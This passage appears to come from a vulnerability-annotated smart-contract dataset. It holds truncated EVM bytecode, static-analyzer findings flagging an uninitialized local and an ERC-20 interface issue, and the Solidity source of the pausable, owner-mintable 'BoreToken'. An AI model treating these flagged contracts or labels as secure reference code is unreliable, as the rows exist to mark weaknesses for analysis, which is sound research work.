115610b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610360906126f2565b73ffffffffffffffffffffffffffffffffffffffff831673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21415610ec45773c02aaa39b223fe8d0a0e5c4f27ead9083c756cc263d0e30db0610b8660408801886128c9565b608001356040518263ffffffff1660e01b81526004016000604051808303818588803b158015610bb557600080fd5b505af1158015610bc9573d6000803e3d6000fd5b5050505050610bf773c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28887806040019061044891906128c9565b610c046020850185612223565b15610ce0577311111112542d85b3ef69ae05771c2dccff4faa26632e95b6c8610c3060408701876128c9565b608001358b610c4260408901896128c9565b60800135610c5360408a018a6128c9565b60a00135610c6460808b018b6127fa565b6040518763ffffffff1660e01b8152600401610c849594939291906124f3565b6020604051808303818588803b158015610c9d57600080fd5b505af1158015610cb1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd6919061225b565b6060820152610dac565b7311111112542d85b3ef69ae05771c2dccff4faa26637c025200610d0760408701876128c9565b60800135610d1b60408801602089016120e3565b610d2860408901896128c9565b610d3560608a018a612866565b6040518663ffffffff1660e01b8152600401610d549493929190612408565b60408051808303818588803b158015610d6c57600080fd5b505af1158015610d80573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610da59190612273565b5060608201525b610dbb82888360600151611c10565b73ffffffffffffffffffffffffffffffffffffffff8716638dbdbe6d610de460408801886128c9565b608001358360600151896040518463ffffffff1660e01b8152600401610e0c939291906127ce565b606060405180830381600087803b158015610e2657600080fd5b505af1158015610e3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5e9190612296565b60208401528083529050610e7560408701876128c9565b608001350360408201819052602082015160608301805191909103905215610ea657610ea683878360400151611f32565b606081015115610ebf57610ebf82878360600151611f32565b6116b3565b73ffffffffffffffffffffffffffffffffffffffff821673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214156112415773c02aaa39b223fe8d0a0e5c4f27ead9083c756cc263d0e30db0610f1d60408701876128c9565b608001356040518263ffffffff1660e01b81526004016000604051808303818588803b158015610f4c57600080fd5b505af1158015610f60573d6000803e3d6000fd5b5050505050610f8e73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28886806040019061044891906128c9565b610f9b6020860186612223565b15611077577311111112542d85b3ef69ae05771c2dccff4faa26632e95b6c8610fc760408801886128c9565b608001358b610fd960408a018a6128c9565b60800135610fea60408b018b6128c9565b60a00135610ffb60808c018c6127fa565b6040518763ffffffff1660e01b815260040161101b9594939291906124f3565b6020604051808303818588803b15801561103457600080fd5b505af1158015611048573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061106d919061225b565b6040820152611143565b7311111112542d85b3ef69ae05771c2dccff4faa26637c02520061109e60408801886128c9565b608001356110b26040890160208a016120e3565b6110bf60408a018a6128c9565b6110cc60608b018b612866565b6040518663ffffffff1660e01b81526004016110eb9493929190612408565b60408051808303818588803b15801561110357600080fd5b505af1158015611117573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061113c9190612273565b5060408201525b61115283888360400151611c10565b8673ffffffffffffffffffffffffffffffffffffffff16638dbdbe6d826040015186806040019061118391906128c9565b60800135896040518463ffffffff1660e01b81526004016111a6939291906127ce565b606060405180830381600087803b1580156111c057600080fd5b505af11580156111d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f89190612296565b602084018190528184526040808501805193909303909252915061121e908601866128c9565b60800135036060820152604081015115610ea657610ea683878360400151611f32565b61124e6020860186612223565b1561132a577311111112542d85b3ef69ae05771c2dccff4faa26632e95b6c861127a60408801886128c9565b608001358b61128c60408a018a6128c9565b6080013561129d60408b018b6128c9565b60a001356112ae60808c018c6127fa565b6040518763ffffffff1660e01b81526004016112ce9594939291906124f3565b6020604051808303818588803b1580156112e757600080fd5b505af11580156112fb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611320919061225b565b60408201526113f6565b7311111112542d85b3ef69ae05771c2dccff4faa26637c02520061135160408801886128c9565b608001356113656040890160208a016120e3565b61137260408a018a6128c9565b61137f60608b018b612866565b6040518663ffffffff1660e01b815260040161139e9493929190612408565b60408051808303818588803b1580156113b657600080fd5b505af11580156113ca573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113ef9190612273565b5060408201525b6114036020850185612223565b156114df577311111112542d85b3ef69ae05771c2dccff4faa26632e95b6c861142f60408701876128c9565b608001358b61144160408901896128c9565b6080013561145260408a018a6128c9565b60a0013561146360808b018b6127fa565b6040518763ffffffff1660e01b81526004016114839594939291906124f3565b6020604051808303818588803b15801561149c57600080fd5b505af11580156114b0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114d5919061225b565b60608201526115ab565b7311111112542d85b3ef69ae05771c2dccff4faa26637c02520061150660408701876128c9565b6080013561151a60408801602089016120e3565b61152760408901896128c9565b61153460608a018a612866565b6040518663ffffffff1660e01b81526004016115539493929190612408565b60408051808303818588803b15801561156b57600080fd5b505af115801561157f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115a49190612273565b5060608201525b6115ba83888360400151611c10565b6115c982888360600151611c10565b8673ffffffffffffffffffffffffffffffffffffffff16638dbdbe6d82604001518360600151896040518463ffffffff1660e01b815260040161160e939291906127ce565b606060405180830381600087803b15801561162857600080fd5b505af115801561163c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116609190612296565b60208401819052818452604084018051929092039182905260608401805191909103905215905061169a5761169a83878360400151611f32565b6060810151156116b3576116b382878360600151611f32565b5050506106cc565b6116c78933308b611dd0565b6116e6897311111112542d85b3ef69ae05771c2dccff4faa268a611c10565b8273ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614156117355761172760408601866128c9565b6080013560408201526118c8565b6117426020860186612223565b1561180d577311111112542d85b3ef69ae05771c2dccff4faa26632e95b6c88a61176f60408901896128c9565b6080013561178060408a018a6128c9565b60a0013561179160808b018b6127fa565b6040518663ffffffff1660e01b81526004016117b19594939291906124f3565b602060405180830381600087803b1580156117cb57600080fd5b505af11580156117df573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611803919061225b565b60408201526118c8565b7311111112542d85b3ef69ae05771c2dccff4faa26637c02520061183760408801602089016120e3565b61184460408901896128c9565b61185160608a018a612866565b6040518563ffffffff1660e01b81526004016118709493929190612408565b6040805180830381600087803b15801561188957600080fd5b505af115801561189d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118c19190612273565b5060408201525b8173ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614156119175761190960408501856128c9565b6080013560608201526115ab565b6119246020850185612223565b156119e5577311111112542d85b3ef69ae05771c2dccff4faa26632e95b6c88a61195160408801886128c9565b6080013561196260408901896128c9565b60a0013561197360808a018a6127fa565b6040518663ffffffff1660e01b81526004016119939594939291906124f3565b602060405180830381600087803b1580156119ad57600080fd5b505af11580156119c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114d5919061225b565b7311111112542d85b3ef69ae05771c2dccff4faa26637c025200611a0f60408701602088016120e3565b611a1c60408801886128c9565b611a296060890189612866565b6040518563ffffffff1660e01b8152600401611a489493929190612408565b6040805180830381600087803b158015611a6157600080fd5b505af1158015611a75573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a49190612273565b6000611b4e827f000000000000000000000000e9fb0c2206b53d3e76c88da58790f7fe9a45b3738473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611af9919061235e565b60206040518083038186803b158015611b1157600080fd5b505afa158015611b25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b49919061225b565b611f32565b5060015b919050565b6040805160008082526020820190925273ffffffffffffffffffffffffffffffffffffffff8416908390604051611b8e9190612325565b60006040518083038185875af1925050503d8060008114611bcb576040519150601f19603f3d011682016040523d82523d6000602084013e611bd0565b606091505b5050905080611c0b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036090612616565b505050565b6040517fdd62ed3e00000000000000000000000000000000000000000000000000000000815260009073ffffffffffffffffffffffffffffffffffffffff85169063dd62ed3e90611c67903090879060040161237f565b60206040518083038186803b158015611c7f57600080fd5b505afa158015611c93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cb7919061225b565b1115611d45576040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff84169063095ea7b390611d129085906000906004016123d7565b600060405180830381600087803b158015611d2c57600080fd5b505af1158015611d40573d6000803e3d6000fd5b505050505b6040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff84169063095ea7b390611d9990859085906004016123d7565b600060405180830381600087803b158015611db357600080fd5b505af1158015611dc7573d6000803e3d6000fd5b50505050505050565b6000808573ffffffffffffffffffffffffffffffffffffffff166323b872dd60e01b868686604051602401611e07939291906123a6565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff00000000000000000000000000000000000000000000000000000000909416939093179092529051611e909190612325565b6000604051808303816000865af19150503d8060008114611ecd576040519150601f19603f3d011682016040523d82523d6000602084013e611ed2565b606091505b5091509150818015611efc575080511580611efc575080806020019051810190611efc919061223f565b6106cc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610360906126bb565b6000808473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b8585604051602401611f679291906123d7565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff00000000000000000000000000000000000000000000000000000000909416939093179092529051611ff09190612325565b6000604051808303816000865af19150503d806000811461202d576040519150601f19603f3d011682016040523d82523d6000602084013e612032565b606091505b509150915081801561205c57508051158061205c57508080602001905181019061205c919061223f565b612092576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103609061264d565b5050505050565b6040518060800160405280600081526020016000815260200160008152602001600081525090565b8035611b5281612969565b600060a082840312156120dd578081fd5b50919050565b6000602082840312156120f4578081fd5b81356120ff81612969565b9392505050565b600060208284031215612117578081fd5b81516120ff81612969565b600080600060608486031215612136578182fd5b833561214181612969565b9250602084013561215181612969565b9150604084013567ffffffffffffffff81111561216c578182fd5b612178868287016120cc565b9150509250925092565b60008060008060008060c0878903121561219a578182fd5b86356121a581612969565b95506020870135945060408701356121bc81612969565b935060608701356121cc81612969565b9250608087013567ffffffffffffffff808211156121e8578384fd5b6121f48a838b016120cc565b935060a0890135915080821115612209578283fd5b5061221689828a016120cc565b9150509295509295509295565b600060208284031215612234578081fd5b81356120ff8161298e565b600060208284031215612250578081fd5b81516120ff8161298e565b60006020828403121561226c578081fd5b5051919050565b60008060408385031215612285578182fd5b505080516020909101519092909150565b6000806000606084860312156122aa578283fd5b8351925060208401519150604084015190509250925092565b73ffffffffffffffffffffffffffffffffffffffff169052565b600082845282826020860137806020848601015260207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f85011685010190509392505050565b60008251815b81811015612345576020818601810151858301520161232b565b818111156123535782828501525b509190910192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff92831681529116602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b901515815260200190565b600073ffffffffffffffffffffffffffffffffffffffff861682526060602083015261243f6060830161243a876120c1565b6122c3565b61244b602086016120c1565b61245860808401826122c3565b50612465604086016120c1565b61247260a08401826122c3565b5061247f606086016120c1565b61248c60c08401826122c3565b50608085013560e083015261010060a08601358184015260c08601356101208401526124bb60e0870187612906565b826101408601526124d1610160860182846122dd565b9250505082810360408401526124e88185876122dd565b979650505050505050565b600073ffffffffffffffffffffffffffffffffffffffff87168252856020830152846040830152608060608301528260808301527f07ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff831115612553578081fd5b60208302808560a08501379190910160a00190815295945050505050565b60208082526003908201527f4954310000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526004908201527f4e41543000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526004908201527f4e41543100000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526003908201527f5354450000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526002908201527f5354000000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526002908201527f4941000000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526003908201527f5354460000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526002908201527f4241000000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526003908201527f4954300000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526002908201527f424f000000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526003908201527f544e410000000000000000000000000000000000000000000000000000000000604082015260600190565b928352602083019190915273ffffffffffffffffffffffffffffffffffffffff16604082015260600190565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe184360301811261282e578283fd5b83018035915067ffffffffffffffff821115612848578283fd5b602090810192508102360382131561285f57600080fd5b9250929050565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe184360301811261289a578182fd5b83018035915067ffffffffffffffff8211156128b4578283fd5b60200191503681900382131561285f57600080fd5b600082357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff018336030181126128fc578182fd5b9190910192915050565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe184360301811261293a578283fd5b830160208101925035905067ffffffffffffffff81111561295a57600080fd5b80360383131561285f57600080fd5b73ffffffffffffffffffffffffffffffffffffffff8116811461298b57600080fd5b50565b801515811461298b57600080fdfea2646970667358221220a8b69624839a56faf91231c0cbbc444b4e2fc54de9fb6bfd7c051776e3d6796a64736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 9,840 |
0x9bca7bd0cba06d16a0d98fbdc9d3ccb0d4195d5a | //Telegram:https://t.me/bore_finance
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint receiverCount = _receivers.length;
uint256 amount = _value.mul(uint256(receiverCount));
/* require(receiverCount > 0 && receiverCount <= 20); */
require(receiverCount > 0);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < receiverCount; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract BoreToken is CappedToken, PausableToken, BurnableToken {
string public constant name = "bore.finacne";
string public constant symbol = "BORE";
uint8 public constant decimals = 18;
uint256 private constant TOKEN_CAP = 100000* (10 ** uint256(decimals));
uint256 private constant TOKEN_INITIAL = 100000 * (10 ** uint256(decimals));
function BoreToken() public CappedToken(TOKEN_CAP) {
totalSupply_ = TOKEN_INITIAL;
balances[msg.sender] = TOKEN_INITIAL;
emit Transfer(address(0), msg.sender, TOKEN_INITIAL);
paused = false;
}
} | 0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012d57806306fdde031461015a578063095ea7b3146101e857806318160ddd1461024257806323b872dd1461026b578063313ce567146102e4578063355274ea146103135780633f4ba83a1461033c57806340c10f191461035157806342966c68146103ab5780635c975abb146103ce57806366188463146103fb57806370a08231146104555780637d64bcb4146104a257806383f12fec146104cf5780638456cb591461054a5780638da5cb5b1461055f57806395d89b41146105b4578063a9059cbb14610642578063d73dd6231461069c578063dd62ed3e146106f6578063f2fde38b14610762575b600080fd5b341561013857600080fd5b61014061079b565b604051808215151515815260200191505060405180910390f35b341561016557600080fd5b61016d6107ae565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ad578082015181840152602081019050610192565b50505050905090810190601f1680156101da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f357600080fd5b610228600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107e7565b604051808215151515815260200191505060405180910390f35b341561024d57600080fd5b610255610817565b6040518082815260200191505060405180910390f35b341561027657600080fd5b6102ca600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610821565b604051808215151515815260200191505060405180910390f35b34156102ef57600080fd5b6102f7610853565b604051808260ff1660ff16815260200191505060405180910390f35b341561031e57600080fd5b610326610858565b6040518082815260200191505060405180910390f35b341561034757600080fd5b61034f61085e565b005b341561035c57600080fd5b610391600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061091e565b604051808215151515815260200191505060405180910390f35b34156103b657600080fd5b6103cc60048080359060200190919050506109cf565b005b34156103d957600080fd5b6103e1610b87565b604051808215151515815260200191505060405180910390f35b341561040657600080fd5b61043b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b9a565b604051808215151515815260200191505060405180910390f35b341561046057600080fd5b61048c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bca565b6040518082815260200191505060405180910390f35b34156104ad57600080fd5b6104b5610c12565b604051808215151515815260200191505060405180910390f35b34156104da57600080fd5b610530600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091905050610cda565b604051808215151515815260200191505060405180910390f35b341561055557600080fd5b61055d610f74565b005b341561056a57600080fd5b610572611035565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105bf57600080fd5b6105c761105b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106075780820151818401526020810190506105ec565b50505050905090810190601f1680156106345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561064d57600080fd5b610682600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611094565b604051808215151515815260200191505060405180910390f35b34156106a757600080fd5b6106dc600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110c4565b604051808215151515815260200191505060405180910390f35b341561070157600080fd5b61074c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110f4565b6040518082815260200191505060405180910390f35b341561076d57600080fd5b610799600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061117b565b005b600360149054906101000a900460ff1681565b6040805190810160405280600c81526020017f626f72652e66696e61636e65000000000000000000000000000000000000000081525081565b6000600560009054906101000a900460ff1615151561080557600080fd5b61080f8383611252565b905092915050565b6000600154905090565b6000600560009054906101000a900460ff1615151561083f57600080fd5b61084a848484611344565b90509392505050565b601281565b60045481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ba57600080fd5b600560009054906101000a900460ff1615156108d557600080fd5b6000600560006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561097c57600080fd5b600360149054906101000a900460ff1615151561099857600080fd5b6004546109b0836001546116fe90919063ffffffff16565b111515156109bd57600080fd5b6109c7838361171c565b905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a1e57600080fd5b339050610a72826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190290919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ac98260015461190290919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600560009054906101000a900460ff1681565b6000600560009054906101000a900460ff16151515610bb857600080fd5b610bc2838361191b565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c7057600080fd5b600360149054906101000a900460ff16151515610c8c57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fa